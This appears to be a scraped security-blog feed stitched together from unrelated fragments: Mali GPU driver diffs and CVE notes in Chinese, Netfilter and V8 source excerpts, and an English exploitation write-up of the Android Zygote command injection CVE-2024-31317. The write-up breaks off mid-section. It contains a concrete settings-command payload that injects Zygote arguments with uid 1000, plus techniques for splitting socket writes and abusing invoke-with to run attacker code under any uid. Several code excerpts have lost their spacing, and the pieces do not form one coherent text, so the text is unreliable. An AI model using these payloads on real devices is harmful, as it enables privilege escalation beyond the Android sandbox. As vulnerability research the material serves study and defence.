if (WARN_ON(!wait_for_completion_timeout(&kctx->csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000)))) { kbasep_print(kbpr, "Failed to wait for completion of dump request\\n"); timed_out = true; }
mutex_lock(&kctx->csf.lock); if (!timed_out && kctx->csf.cpu_queue.buffer) { WARN_ON(atomic_read(&kctx->csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING);
/* The CPU queue dump is returned as a single formatted string */ kbasep_puts(kbpr, kctx->csf.cpu_queue.buffer); kbasep_puts(kbpr, "\\n");
此时可以自然地想到 Mali 作为 GPU 驱动所提供的直接处理内存的能力，而且从 Mali 拿到的内存可以被直接映射到用户态，非常好用。Mali 的 mem pool allocator 会在 mem pool 中的 page 不足时直接从 buddy allocator 拿 page，只要一次性申请大量的 GPU 内存，就可以拿到刚 kfree 到 buddy allocator 的 page。
diff --git a/driver-r52p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c b/driver-r53p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c index 087cdb4..2a1bdaa 100644 --- a/driver-r52p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c +++ b/driver-r53p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note /* * - * (C) COPYRIGHT 2023 ARM Limited. All rights reserved. + * (C) COPYRIGHT 2023-2024 ARM Limited. All rights reserved. * * This program is free software and is provided to you under the terms of the * GNU General Public License version 2 as published by the Free Software @@ -93,6 +93,8 @@ int kbase_csf_cpu_queue_dump_buffer(struct kbase_context *kctx, u64 buffer, size int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_printer *kbpr) { + bool timed_out = false; + mutex_lock(&kctx->csf.lock); if (atomic_read(&kctx->csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) { kbasep_print(kbpr, "Dump request already started! (try again)\\n"); @@ -108,10 +110,14 @@ int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr kbasep_print(kbpr, "CPU Queues table (version:v" __stringify( MALI_CSF_CPU_QUEUE_DUMP_VERSION) "):\\n"); - wait_for_completion_timeout(&kctx->csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000)); + if (WARN_ON(!wait_for_completion_timeout(&kctx->csf.cpu_queue.dump_cmp, + msecs_to_jiffies(3000)))) { + kbasep_print(kbpr, "Failed to wait for completion of dump request\\n"); + timed_out = true; + } mutex_lock(&kctx->csf.lock); - if (kctx->csf.cpu_queue.buffer) { + if (!timed_out && kctx->csf.cpu_queue.buffer) { WARN_ON(atomic_read(&kctx->csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING); /* The CPU queue dump is returned as a single formatted string */ @@ -122,7 +128,7 @@ int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr kctx->csf.cpu_queue.buffer = NULL; kctx->csf.cpu_queue.buffer_size = 0; } else - kbasep_print(kbpr, "Dump error! (time out)\\n"); + kbasep_print(kbpr, "Dump error! (timed_out = %d)\\n", timed_out); atomic_set(&kctx->csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);
diff --git a/driver-r54p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c b/driver-r54p1/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c index 2a1bdaa..087cdb4 100644 --- a/driver-r54p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c +++ b/driver-r54p1/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c @@ -1,7 +1,7 @@ // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note /* * - * (C) COPYRIGHT 2023-2024 ARM Limited. All rights reserved. + * (C) COPYRIGHT 2023 ARM Limited. All rights reserved. * * This program is free software and is provided to you under the terms of the * GNU General Public License version 2 as published by the Free Software @@ -93,8 +93,6 @@ int kbase_csf_cpu_queue_dump_buffer(struct kbase_context *kctx, u64 buffer, size int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_printer *kbpr) { - bool timed_out = false; - mutex_lock(&kctx->csf.lock); if (atomic_read(&kctx->csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) { kbasep_print(kbpr, "Dump request already started! (try again)\\n"); @@ -110,14 +108,10 @@ int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr kbasep_print(kbpr, "CPU Queues table (version:v" __stringify( MALI_CSF_CPU_QUEUE_DUMP_VERSION) "):\\n"); - if (WARN_ON(!wait_for_completion_timeout(&kctx->csf.cpu_queue.dump_cmp, - msecs_to_jiffies(3000)))) { - kbasep_print(kbpr, "Failed to wait for completion of dump request\\n"); - timed_out = true; - } + wait_for_completion_timeout(&kctx->csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000)); mutex_lock(&kctx->csf.lock); - if (!timed_out && kctx->csf.cpu_queue.buffer) { + if (kctx->csf.cpu_queue.buffer) { WARN_ON(atomic_read(&kctx->csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING); /* The CPU queue dump is returned as a single formatted string */ @@ -128,7 +122,7 @@ int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr kctx->csf.cpu_queue.buffer = NULL; kctx->csf.cpu_queue.buffer_size = 0; } else - kbasep_print(kbpr, "Dump error! (timed_out = %d)\\n", timed_out); + kbasep_print(kbpr, "Dump error! (time out)\\n"); atomic_set(&kctx->csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);
A local non-privileged user process can perform improper GPU processing operations to expose sensitive data. This issue has been assigned the identifier CVE-2025-2879.
A local non-privileged user process can perform improper GPU memory processing operations to gain access to already freed memory. This issue has been assigned the identifier CVE-2025-6349.
A local non-privileged user process can perform improper GPU processing operations to gain access to already freed memory. This issue has been assigned the identifier CVE-2025-8045.
影响范围分别为：
CVE-2025-2879: All versions from r29p0-r49p4, r50p0-r54p0
“The root cause for this is that the physical pages allocated by anonymous mmap() usually come from the MIGRATE_MOVABLE free_area of the memory zone, while user page tables are usually allocated from the MIGRATE_UNMOVABLE free_area of the memory zone. This makes heap spray difficult to succeed. The research presented by Yong Wang explained such difficulty very well.“
/* Mapping for a single class */ structselinux_mapping { u16 value; /* policy value for class */ unsignedint num_perms; /* number of permissions in class */ u32 perms[sizeof(u32) * 8]; /* policy values for permissions */ };
/* Map for all of the classes, with array size */ structselinux_map { structselinux_mapping *mapping;/* indexed by class */ u16 size; /* array size of mapping */ };
Netfilter 是 Linux 内核中的一个框架，主要用于对网络数据包进行处理。它提供了 hook 机制，使得数据包可以在被处理的过程中，在内核级别被“拦截”，进而决定对数据包的行为，包括检查、修改、接受或丢弃等。Netfilter 构成了 Linux 防火墙、NAT（网络地址转换）等功能的基础，是 Linux 网络安全和数据包控制的核心模块。
Netfilter 的核心功能：
包过滤（Packet Filtering）
决定是否允许一个数据包通过
用于实现防火墙逻辑
NAT（网络地址转换）
动态修改数据包中的 IP 地址或端口
支持源地址转换（SNAT）和目的地址转换（DNAT）
连接跟踪（Connection Tracking）
跟踪每个网络连接的状态
可以判断数据包是否属于已建立的连接（如 ESTABLISHED）
状态防火墙（Stateful Firewall）
配合连接跟踪，实现有状态的包过滤规则（例如只允许建立连接的返回流量）
数据包修改（Packet Mangling）
支持对包头或数据内容进行修改
1.2 为什么是 Netfilter？
Netfilter不仅是 Linux 内核强大功能的一部分，同时也是攻击者重点关注的攻击面，理由如下：
// 2. If source is undefined or null, let keys be an empty List. if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) { returnReadOnlyRoots(isolate).undefined_value(); }
// 2. If source is undefined or null, let keys be an empty List. if (IsUndefined(*source, isolate) || IsNull(*source, isolate)) { returnReadOnlyRoots(isolate).undefined_value(); }
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) { auto target = Parameter<JSReceiver>(Descriptor::kTarget); auto source = Parameter<Object>(Descriptor::kSource); auto context = Parameter<Context>(Descriptor::kContext);
// 遍历所有的属性 for (int i = 0; i < keys->length(); ++i) { // 获取第i个属性的key对象 (属性的key也是一个js对象) Handle<Object> next_key(keys->get(i), isolate); if (excluded_properties != nullptr && HasExcludedProperty(excluded_properties, next_key)) { continue; }
// 4a i. Let desc be ? from.[[GetOwnProperty]](nextKey). // 获取该key的属性描述符 PropertyDescriptor desc; Maybe<bool> found = JSReceiver::GetOwnPropertyDescriptor(isolate, from, next_key, &desc); if (found.IsNothing()) returnNothing<bool>(); // 4a ii. If desc is not undefined and desc.[[Enumerable]] is true, then // 改属性为可枚举属性 if (found.FromJust() && desc.enumerable()) { // 获取该属性的value对象 Handle<Object> prop_value; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, prop_value, Runtime::GetObjectProperty(isolate, from, next_key), Nothing<bool>());
// 把属性写入target中 if (use_set) { // 4c ii 2. Let status be ? Set(to, nextKey, propValue, true). Handle<Object> status; ASSIGN_RETURN_ON_EXCEPTION_VALUE( isolate, status, Runtime::SetObjectProperty(isolate, target, next_key, prop_value, StoreOrigin::kMaybeKeyed, Just(ShouldThrow::kThrowOnError)), Nothing<bool>()); } else { // 4a ii 2. Perform ! CreateDataProperty(target, nextKey, propValue). PropertyKey key(isolate, next_key); CHECK(JSReceiver::CreateDataProperty(isolate, target, key, prop_value, Just(kThrowOnError)) .FromJust()); } } }
// fast path只能处理source为JSObject的情况 if (!IsJSObjectMap(*map)) returnJust(false); // fast path只能处理source为simple properties的情况(非dictionary properties) if (!map->OnlyHasSimpleProperties()) returnJust(false);
// 只能处理source的elements为empty fixed array的情况 Handle<JSObject> from = Handle<JSObject>::cast(source); if (from->elements() != ReadOnlyRoots(isolate).empty_fixed_array()) { returnJust(false); }
diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc index c3f5d31..13b787f 100644 --- a/src/objects/js-objects.cc +++ b/src/objects/js-objects.cc @@ -434,9 +434,7 @@ Nothing<bool>()); if (!from->HasFastProperties() && target->HasFastProperties() && - !IsJSGlobalProxy(*target)) { - // JSProxy is always in slow-mode. - DCHECK(!IsJSProxy(*target)); + IsJSObject(*target) && !IsJSGlobalProxy(*target)) { // Convert to slow properties if we're guaranteed to overflow the number of // descriptors. int source_length;
TF_BUILTIN(SetDataProperties, SetOrCopyDataPropertiesAssembler) { auto target = Parameter<JSReceiver>(Descriptor::kTarget); auto source = Parameter<Object>(Descriptor::kSource); auto context = Parameter<Context>(Descriptor::kContext);
]]><h1 id="背景"><a class="markdownIt-Anchor" href="#背景"></a> 背景</h1>
<p>伴随着HarmonyOS NEXT的发布，华为实现了计算机领域三座大山的跨越：操作系统、处理器、编译器。其中HarmonyOS NEXT的编译器名叫arkcompiler，它的发布引起了编译、安全、程序分析等领域人员的广泛关注，我们阅读了arkcompiler的源码，进行了关键步骤的梳理，并绘制了相关流程图，供大家学习参考，如有错误还望批评指正。</p>The Return of Mystique? Possibly the Most Valuable Userspace Android Vulnerability in Recent Years: CVE-2024-31317https://dawnslab.jd.com/the_return_of_mystique/2024-10-21T07:46:32.000Z2025-08-21T06:15:23.843Z Abstract
This article analyzes the cause of CVE-2024-31317, an Android user-mode universal vulnerability, and shares our exploitation research and methods. Through this vulnerability, we can obtain code-execution for any uid, similar to breaking through the Android sandbox to gain permissions for any app. This vulnerability has effects similar to the Mystique vulnerability discovered by the author years ago (which won the Pwnie Award for Best Privilege Escalation Bug), but each has its own merits.
Origin of the Vulnerability
A few months ago, Meta X Red Team published two very interesting Android Framework vulnerabilities that could be used to escalate privileges to any UID. Among them, CVE-2024-0044, due to its simplicity and directness, has already been widely analyzed in the technical community with public exploits available (it’s worth mentioning that people were later surprised to find that the first fix for this vulnerability was actually ineffective). Meanwhile, CVE-2024-31317 still lacks a public detailed analysis and exploit, although the latter has greater power than the former (able to obtain system-uid privileges). This vulnerability is also quite surprising, because it’s already 2024, and we can still find command injection in Android’s core component (Zygote).
This reminds us of the Mystique vulnerability we discovered years ago, which similarly allowed attackers to obtain privileges for any uid. It’s worth noting that both vulnerabilities have certain prerequisites. For example, CVE-2024-31317 requires the WRITE_SECURE_SETTINGS permission. Although this permission is not particularly difficult to obtain, it theoretically still requires an additional vulnerability, as ordinary untrusted_apps cannot obtain this permission (however, it seems that on some branded phones, regular apps may have some methods to directly obtain this permission). ADB shell natively has this permission, and similarly, some special pre-installed signed apps also have this permission.
However, the exploitation effect and universality of this logical vulnerability are still sufficient to make us believe that it is the most valuable Android user-mode vulnerability in recent years since Mystique. Meta’s original article provides an excellent analysis of the cause of this vulnerability, but it only briefly touches on the exploitation process and methods, and is overall rather concise. This article will provide a detailed analysis and introduction to this vulnerability, and introduce some new exploitation methods, which, to our knowledge, are the first of their kind.
Attached is an image demonstrating the exploit effect, successfully obtaining system privilege on major phone brand’s June patch version:
Analysis of this vulnerability
Although the core of this vulnerability is command injection, exploiting it requires a considerable understanding of the Android system, especially how Android’s cornerstone—the Zygote fork mechanism—works, and how it interacts with the system_server.
Zygote and system_server bootstrap process
Every Android developer knows that Zygote forks all processes in Android’s Java world, and system_server is no exception, as shown in the figure below.
The Zygote process actually receives instructions from system_server and spawns child processes based on these instructions. This is implemented through the poll mechanism in ZygoteServer.java:
// TODO (chriswailes): Is this extra check necessary? if (mIsForkChild) { // We're in the child. We should always have a command to run at // this stage if processCommand hasn't called "exec". if (command == null) { thrownewIllegalStateException("command == null"); }
return command; } else { // We're in the server - we should never have any commands to run. if (command != null) { thrownewIllegalStateException("command != null"); }
// We don't know whether the remote side of the socket was closed or // not until we attempt to read from it from processCommand. This // shows up as a regular POLLIN event in our regular processing // loop. if (connection.isClosedByPeer()) { connection.closeSocket(); peers.remove(pollIndex); socketFDs.remove(pollIndex); } } } //... Runnable processCommand(ZygoteServer zygoteServer, boolean multipleOK) { ZygoteArguments parsedArgs;
Then it enters the processCommand function, which is the core function for parsing the command buffer and extracting parameters. The specific format is defined in ZygoteArguments, and much of our subsequent work will need to revolve around this format.
return handleChildProc(parsedArgs, childPipeFd, parsedArgs.mStartChildZygote); } else { // In the parent. A pid < 0 indicates a failure and will be handled in // handleParentProc. IoUtils.closeQuietly(childPipeFd); childPipeFd = null; handleParentProc(pid, serverPipeFd); returnnull; } } finally { IoUtils.closeQuietly(childPipeFd); IoUtils.closeQuietly(serverPipeFd); } } else { ZygoteHooks.preFork(); Runnableresult= Zygote.forkSimpleApps(argBuffer, zygoteServer.getZygoteSocketFileDescriptor(), peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName); if (result == null) { // parent; we finished some number of forks. Result is Boolean. // We already did the equivalent of handleParentProc(). ZygoteHooks.postForkCommon(); // argBuffer contains a command not understood by forksimpleApps. continue; } else { // child; result is a Runnable. zygoteServer.setForkChild(); return result; } } } } //... if (parsedArgs.mApiDenylistExemptions != null) { return handleApiDenylistExemptions(zygoteServer, parsedArgs.mApiDenylistExemptions); }
booleanforkRepeatedly(FileDescriptor zygoteSocket, int expectedUid, int minUid, String firstNiceName) { try { return nativeForkRepeatedly(mNativeBuffer, zygoteSocket.getInt$(), expectedUid, minUid, firstNiceName);
This is the top-level entry point for Zygote command processing, but the devil is in the details. After Android 12, Google implemented a fast-path C++ parser in ZygoteCommandBuffer, namely com_android_internal_os_ZygoteCommandBuffer.cpp. The main idea is that Zygote maintains a new inner loop in nativeForkRepeatly outside the outer loop in processCommand, to improve the efficiency of launching apps.
nativeForkRepeatly also polls on the Command Socket and repeatedly processes what is called a SimpleFork format parsed from the byte stream. This SimpleFork actually only processes simple zygote parameters such as runtime-args, setuid, setgid, etc. The discovery of other parameters during the reading process will cause an exit from this loop and return to the outer loop in processCommand, where a new ZygoteCommandBuffer will be constructed, the loop will restart, and unrecognized commands will be read and parsed again in the outer loop.
System_server may send various commands to zygote, not only commands to start processes, but also commands to modify some global environment values, such as denylistexemptions which contains the vulnerable code, which we will explain in more detail later.
As for system_server itself, its startup process is not complicated, as launched by hardcoded parameters in Zygote—obviously because Zygote cannot receive commands from a process that does not yet exist, this is a “chicken or egg” problem, and the solution is to start system_server through hardcoding.
The Zygote command format
The command parameters accepted by Zygote are in a format similar to Length-Value pairs, separated by line breaks, as shown below
Roughly, the protocol parsing process first reads the number of lines, then reads the content of each line one by one according to the number of lines. However, after Android 12, the exploitation method gets much more complicated due to some buffer pre-reading optimizations, which also led to a significant increase in the length of this article and the difficulty of vulnerability exploitation.
The vulnerability itself
From the previous analysis, we can see that Zygote simply parses the buffer it receives from system_server blindly - without performing any additional secondary checks. This leaves room for command injection: if we can somehow manipulate system_server to write attacker-controlled content into the command socket.
privatevoidupdate() { Stringexemptions= Settings.Global.getString(mContext.getContentResolver(), Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS); if (!TextUtils.equals(exemptions, mExemptionsStr)) { mExemptionsStr = exemptions; if ("*".equals(exemptions)) { mBlacklistDisabled = true; mExemptions = Collections.emptyList(); } else { mBlacklistDisabled = false; mExemptions = TextUtils.isEmpty(exemptions) ? Collections.emptyList() : Arrays.asList(exemptions.split(",")); } if (!ZYGOTE_PROCESS.setApiDenylistExemptions(mExemptions)) { Slog.e(TAG, "Failed to set API blacklist exemptions!"); // leave mExemptionsStr as is, so we don't try to send the same list again. mExemptions = Collections.emptyList(); } } mPolicy = getValidEnforcementPolicy(Settings.Global.HIDDEN_API_POLICY); }
@GuardedBy("mLock") privatebooleanmaybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) { if (state == null || state.isClosed()) { Slog.e(LOG_TAG, "Can't set API denylist exemptions: no zygote connection"); returnfalse; } elseif (!sendIfEmpty && mApiDenylistExemptions.isEmpty()) { returntrue; }
try { state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1)); state.mZygoteOutputWriter.newLine(); state.mZygoteOutputWriter.write("--set-api-denylist-exemptions"); state.mZygoteOutputWriter.newLine(); for (inti=0; i < mApiDenylistExemptions.size(); ++i) { state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); state.mZygoteOutputWriter.newLine(); } state.mZygoteOutputWriter.flush(); intstatus= state.mZygoteInputStream.readInt(); if (status != 0) { Slog.e(LOG_TAG, "Failed to set API denylist exemptions; status " + status); } returntrue; } catch (IOException ioe) { Slog.e(LOG_TAG, "Failed to set API denylist exemptions", ioe); mApiDenylistExemptions = Collections.emptyList(); returnfalse; } }
“Regardless of the reason why hidden_api_blacklist_exemptions is modified, the ContentObserver’s callback will be triggered. The newly written value will be read and, after parsing (mainly based on splitting the string by commas), directly written into the zygote command socket. A typical command injection.”
Achieving universal exploitation utilizing socket features
Difficulty encountered on Android12 and above
The attacker’s initial idea was to directly inject new commands that would trigger the process startup, as shown below:
1 2 3 4 5 6 7 8
settings put global hidden_api_blacklist_exemptions "LClass1;->method1( 3 --runtime-args --setuid=1000 --setgid=1000 1 --boot-completed" "
In Android 11 or earlier versions, this type of payload was simple and effective because in these versions, Zygote reads each line directly through Java’s readLine without any buffer implementation affecting it. However, in Android 12, the situation becomes much more complex. Command parsing is now handled by NativeCommandBuffer, introducing a key difference: after the content is examined for once, this parser discards all trailing unrecognized content in the buffer and exits, rather than saving it for the next parsing attempt. This means that injected commands will be directly discarded!
//... boolfirst_time=true; do { if (credentials.uid != static_cast<uid_t>(expected_uid)) { return JNI_FALSE; } n_buffer->readAllLines(first_time ? fail_fn_1 : fail_fn_n); n_buffer->reset(); intpid= zygote::forkApp(env, /* no pipe FDs */ -1, -1, session_socket_fds, /*args_known=*/true, /*is_priority_fork=*/true, /*purge=*/ first_time); if (pid == 0) { return JNI_TRUE; } //... for (;;) { // Clear buffer and get count from next command. n_buffer->clear(); //... if ((fd_structs[SESSION_IDX].revents & POLLIN) != 0) { if (n_buffer->getCount(fail_fn_z) != 0) { break; } // else disconnected; } elseif (poll_res == 0 || (fd_structs[ZYGOTE_IDX].revents & POLLIN) == 0) { fail_fn_z( CREATE_ERROR("Poll returned with no descriptors ready! Poll returned %d", poll_res)); } // We've now seen either a disconnect or connect request. close(session_socket); //... } first_time = false; } while (n_buffer->isSimpleForkCommand(minUid, fail_fn_n)); ALOGW("forkRepeatedly terminated due to non-simple command"); n_buffer->logState(); n_buffer->reset(); return JNI_FALSE; }
std::optional<std::pair<char*, char*>> readLine(FailFn fail_fn) { char* result = mBuffer + mNext; while (true) { // We have scanned up to, but not including mNext for this line's newline. if (mNext == mEnd) { if (mEnd == MAX_COMMAND_BYTES) { return {}; } if (mFd == -1) { fail_fn("ZygoteCommandBuffer.readLine attempted to read from mFd -1"); } ssize_tnread= TEMP_FAILURE_RETRY(read(mFd, mBuffer + mEnd, MAX_COMMAND_BYTES - mEnd)); if (nread <= 0) { if (nread == 0) { return {}; } fail_fn(CREATE_ERROR("session socket read failed: %s", strerror(errno))); } elseif (nread == static_cast<ssize_t>(MAX_COMMAND_BYTES - mEnd)) { // This is pessimistic by one character, but close enough. fail_fn("ZygoteCommandBuffer overflowed: command too long"); } mEnd += nread; } // UTF-8 does not allow newline to occur as part of a multibyte character. char* nl = static_cast<char *>(memchr(mBuffer + mNext, '\n', mEnd - mNext)); if (nl == nullptr) { mNext = mEnd; } else { mNext = nl - mBuffer + 1; if (--mLinesLeft < 0) { fail_fn("ZygoteCommandBuffer.readLine attempted to read past end of command"); } return std::make_pair(result, nl); } } }
"The nativeForkRepeatedly function operates roughly as follows: After the socket initialization setup is completed, n_buffer->readLines will pre-read and buffer all the lines—i.e., all the content that can currently be read from the socket. The subsequent reset will move the buffer’s current read pointer back to the initial position—meaning the subsequent operations on n_buffer will start parsing this buffer from the beginning, without re-triggering a socket read. After a child process is forked, it will consume this buffer to extract its uid and gid and set them by itself. The parent process will continue execution and enter the for loop below. This for loop continuously listens to the corresponding socket’s file descriptor (fd), receiving and reconstructing incoming connections if they are unexpectedly interrupted.
graph TD A[Socket Initialization and Setup] --> B[n_buffer->readLines Reads and Buffers All Lines] B --> C[reset Moves Buffer Pointer Back to Initial Position] C --> D[n_buffer Re-parses the Buffer] D --> E{Fork Child Process} E --> F[Child Process Consumes Buffer to Extract UID and GID] E --> G[Parent Process Continues Execution] G --> H[Enters for Loop] H --> I[n_buffer->clear Clears Buffer] I --> J[Continuously Listens on Socket FD] J --> K[Receives and Rebuilds Incoming Connections] K --> L[n_buffer->getCount] L --> |Valid Input| O[Check if it is a simpleForkCommand] L --> |Invalid Input| I O --> |Is SimpleFork| B O --> |Not SimpleFork| ZygoteConnection::ProcessCommand
1 2 3
for (;;) { // Clear buffer and get count from next command. n_buffer->clear();
But this is where things start to get complex and tricky. The call to n_buffer->clear(); discards all the remaining content in the current buffer (the buffer size is 12,200 on Android 12 and HarmonyOS 4, and 32,768 in later versions). This leads to the previously mentioned issue: the injected content will essentially be discarded and will not enter the next round of parsing.
Thus, the core exploitation method here is figuring out how to split the injected content into different reads so that it gets processed. Theoretically, this relies on the Linux kernel’s scheduler. Generally speaking, splitting the content into different write operations on the other side, with a certain time interval between them, can achieve this goal in most cases. Now, let’s take a look back at the vulnerable function in system_server that triggers the writing to the command socket:
This means that unless flush is explicitly called, writes to the socket will only be triggered when the size of accumulated content in the BufferedWriter reaches the defaultCharBufferSize.
It’s important to note that separate writes do not necessarily guarantee separate reads on the receiving side, as the kernel might merge socket operations. The author of Meta proposed a method to mitigate this: inserting a large number of commas to extend the time consumption in the for loop, thereby increasing the time interval between the first socket write and the second socket write (flush). Depending on the device configuration, the number of commas may need to be adjusted, but the overall length must not exceed the maximum size of the CommandBuffer, or it will cause Zygote to abort. The added commas are parsed as empty lines in an array after the string split and will first be written by system_server as a corresponding count, represented by 3001 in the diagram below. However, during Zygote parsing, we must ensure that this count matches the corresponding lines before and after the injection.
Thus, the final payload layout is as shown in the diagram below
Chaining it alltogether
We want the first part of the payload, which is the content before 13 (the yellow section in the diagram below), to exactly reach the 8192-character limit of the BufferedWriter, causing it to trigger a flush and ultimately initiate a socket write.
When Zygote receives this request, it should be in com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly, having just finished processing the previous simpleFork, and blocked at n_buffer->getCount (which is used to read the line count from the buffer). After this request arrives, getline will read all the contents from the socket into the buffer (note: it doesn’t read line by line), and upon reading 3001 (line count), it detects that it is not a isSimpleForkCommand. This causes the function to exit nativeForkRepeatedly and return to the processCommand function in ZygoteConnection.
1 2 3 4 5 6 7 8 9 10
ZygoteHooks.preFork(); Runnableresult= Zygote.forkSimpleApps(argBuffer, zygoteServer.getZygoteSocketFileDescriptor(), peer.getUid(), Zygote.minChildUid(peer), parsedArgs.mNiceName); if (result == null) { // parent; we finished some number of forks. Result is Boolean. // We already did the equivalent of handleParentProc(). ZygoteHooks.postForkCommon(); // argBuffer contains a command not understood by forksimpleApps. continue;
The whole procedure is as follows:
graph TD;A[Zygote Receives Request] --> B[Enter com_android_internal_os_ZygoteCommandBuffer_nativeForkRepeatedly];B --> C[Finish Processing Previous simpleFork];C --> D[n_buffer->getCount Reads Line Count];D --> E[getline Reads Buffer];E --> F[Reads the 3001 Line Count];F --> G[Detects it is not isSimpleForkCommand];G --> H[Exit nativeForkRepeatedly];H --> I[Return to ZygoteConnection's processCommand Function];
This entire 8192-sized block of content is then passed into ZygoteInit.setApiDenylistExemptions, after which processing of this block is no longer relevant to this vulnerability. Zygote consumes this, and proceed to receive following parts of commands.
At this point, note that we look from the Zygote side back to the system_server side, where system_server is still within the maybeSetApiDenylistExemptions function’s for loop. The 8192 block just processed by Zygote corresponds to the first write in this for loop.
1 2 3 4 5 6 7 8 9 10
try { state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1)); state.mZygoteOutputWriter.newLine(); state.mZygoteOutputWriter.write("--set-api-denylist-exemptions"); state.mZygoteOutputWriter.newLine(); for (inti=0; i < mApiDenylistExemptions.size(); ++i) { state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i)); //<---- state.mZygoteOutputWriter.newLine(); } state.mZygoteOutputWriter.flush();
The next writer.write will write the core command injection payload, and then the for loop will continue iterating 3000 (or another specified linecount - 1) times. This is done to ensure that consecutive socket writes do not get merged by the kernel into a single write, which could result in Zygote exceeding the buffer size limit and causing Zygote to abort during its read operation.
These iterations accumulated do not exceed the 8192-byte limit of the BufferedWriter, will not trigger an actual socket write within the for loop. Instead, the socket write will only be triggered during the flush. From Zygote’s perspective, it will continue parsing the new buffer in ZygoteArguments.getInstance, corresponding to the section shown in green in the diagram below.
This green section will be read into the buffer in one go. The first thing to be processed is the line count 13, followed by the fully controlled Zygote parameters injected by the attacker.
This time, the ZygoteArguments will only contain the 13 lines from this buffer, while the rest of the buffer (empty lines) will be processed in the next call to ZygoteArguments.getInstance. When the next new ZygoteArguments instance is created, ZygoteCommandBuffer will perform another read, effectively ignoring the remaining empty lines.
What should we do after successfully obtaining control of Zygote parameters?
"After all the complex work outlined above, we have successfully achieved the goal of reliably controlling the Zygote parameters through this vulnerability. However, we still haven’t addressed a critical question: What can be done with these controlled parameters, or how can they be used to escalate privileges?
At first glance, this question seems obvious, but in reality, it requires deeper exploration.
Attempt #1: Can we control Zygote to execute a specific package name with a particular uid?
This might be our first thought: Can we achieve this by controlling the --package-name and UID?
Unfortunately, the package name is not of much significance to the attacker or to the entire code loading and execution process. Let’s recall the Android App loading process:
And let’s continue by examining the relevant code inApplicationThread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
publicstaticvoidmain(String[] args) { //... // Find the value for {@link #PROC_START_SEQ_IDENT} if provided on the command line. // It will be in the format "seq=114" longstartSeq=0; if (args != null) { for (inti= args.length - 1; i >= 0; --i) { if (args[i] != null && args[i].startsWith(PROC_START_SEQ_IDENT)) { startSeq = Long.parseLong( args[i].substring(PROC_START_SEQ_IDENT.length())); } } } ActivityThreadthread=newActivityThread(); thread.attach(false, startSeq);
As we can see, the APK code loading process actually depends on startSeq, a parameter maintained by the ActivityManagerService, which maps ApplicationRecord to startSeq. This mapping tracks the corresponding loadApk, meaning the specific APK file and its path.
So, let’s take a step back:
Method #1: Can we control the execution of arbitrary code under a specific UID?
The answer is yes. By analyzing the parameters in ZygoteArguments, we discovered that the invokeWith parameter can be used to achieve this goal:
final String appProcess; if (VMRuntime.is64BitInstructionSet(instructionSet)) { appProcess = "/system/bin/app_process64"; } else { appProcess = "/system/bin/app_process32"; } command.append(' '); command.append(appProcess);
// Generate bare minimum of debug information to be able to backtrace through JITed code. // We assume that if the invoke wrapper is used, backtraces are desirable: // * The wrap.sh script can only be used by debuggable apps, which would enable this flag // without the script anyway (the fork-zygote path). So this makes the two consistent. // * The wrap.* property can only be used on userdebug builds and is likely to be used by // developers (e.g. enable debug-malloc), in which case backtraces are also useful. command.append(" -Xcompiler-option --generate-mini-debug-info");
This piece of code concatenates mInvokeWith with the subsequent arguments and executes them via execShell. We only need to point this parameter to an ELF binary or shell script that the attacker controls, and it must be readable and executable by Zygote.
However, we also need to consider the restrictions imposed by SELinux and the AppData directory permissions. Even if an attacker sets a file in a private directory to be globally readable and executable, Zygote will not be able to access or execute it. To resolve this, we refer to the technique we used in the Mystique vulnerability: using files from the app-lib directory.
The related method for obtaining a system shell is shown in the figure, with the device running HarmonyOS 4.2.
However, this exploitation method still has a problem: obtaining a shell with a specific UID is not the same as direct in-process code execution. If we want to perform further hooking or code injection, this method would require an additional code execution trampoline, but not every app possesses this characteristic, and Android 14 has further introduced DCL (Dynamic Code Loading) restrictions.
So, is it possible to further achieve this goal?
Method #2: Leveraging the jdwp Flag
